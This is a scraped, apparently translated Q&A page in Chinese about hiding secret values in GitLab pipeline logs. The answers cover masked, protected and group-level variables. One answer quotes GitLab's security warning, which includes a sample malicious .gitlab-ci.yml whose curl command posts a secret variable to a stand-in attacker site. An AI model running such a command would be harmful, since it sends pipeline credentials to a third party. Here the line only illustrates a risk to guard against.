执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值

Posted

技术标签:

【中文标题】执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值【英文标题】:Hide variable value in Gitlab pipeline logs when bash script is executed 【发布时间】:2020-10-30 20:03:43 【问题描述】:

当我在阶段(Gitlab 管道)中运行 bash 文件时,它会在日志中显示 GitLab 机密值,理想情况下这些值不应该是可见的。我怎样才能避免这种情况?

GitLab 流水线阶段

stage: docker_push
script:
    - /home/directory/dockerPush.sh
tags:
    - docker

bash 文件(dockerPush.sh)内容

docker login --username foo --password $DOCKER_LOGIN_PASSWORD
docker push $IMAGE_NAME

管道日志

+ docker login --username foo --password Doc49byfe

【问题讨论】:

【参考方案1】:

当您添加变量时,请检查“掩码变量”选项:

【讨论】:

【参考方案2】:

您需要像 Glen 回答一样使用掩码功能。

但掩码功能有一些与变量格式相关的限制,如本文档https://docs.gitlab.com/ee/ci/variables/#masked-variable-requirements

如果 Gitlab 拒绝屏蔽你的变量,你需要在你的 shell 脚本中做。

一种简单的方法是将输出发送到文件(如果您确实需要日志),或者另一种选择是将输出发送到/dev/null

【讨论】:

【参考方案3】:

GitLab 中有 Group-Level Environmental Variables 可用:

您可以定义在管道环境中设置的每个项目或每个组的变量。组级变量存储在存储库之外(不在 .gitlab-ci.yml 中)。它们被安全地传递给 GitLab Runner,这使得它们在管道运行期间可用。 // 我们建议高级用户使用组环境变量来存储机密(如密码、SSH 密钥和凭据):

不要使用外部密钥库。 使用 GitLab 与 HashiCorp Vault 的集成。

进一步:

安全

推送到您的 .gitlab-ci.yml 文件的恶意代码可能会破坏您的变量并将它们发送到第三方服务器,无论屏蔽设置如何。如果管道在受保护的分支或受保护的标签上运行,它也可能危及受保护的变量。

所有引入 .gitlab-ci.yml 更改的合并请求之前都应仔细审查:

为从分叉项目提交的合并请求在父项目中运行管道。

合并更改。

这是一个恶意.gitlab-ci.yml的简化示例:

build:
  script:
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/

关于屏蔽

掩码变量(可选):如果选中,变量的值不会显示在作业日志中。如果值不满足屏蔽要求,则不保存变量。

启用调试跟踪可能会产生严重的安全隐患。输出将包含所有变量的内容和任何其他秘密!输出将上传到 GitLab 服务器并在作业日志中显示!

结论:

    使用组变量 如果不能:屏蔽变量

【讨论】:

【参考方案4】:

您是否尝试从 gitlab 管理面板添加您的环境变量,并将您的变量设置为 protected?这是一个例子:https://secrethub.io/docs/guides/gitlabci/#provide-credential 最好的,

【讨论】:

protected don't mask the env var 变量,让它准备好只在受保护的分支中使用 我的意思是掩码功能不好,我在使用术语“安全”的 bitbucket 管道上工作太多:)

以上是关于执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值的主要内容,如果未能解决你的问题,请参考以下文章

在 gitlab 管道中执行 testcontainer 集成测试

从 Bash 脚本执行 GREP/CUT 命令时遇到问题

未能在 GitLab CI 管道中执行目标

熟悉BASH命令

将 GitLab CI CD 管道的 .text 输出发送到工件模块

Bash 脚本未在 Cron 中正确执行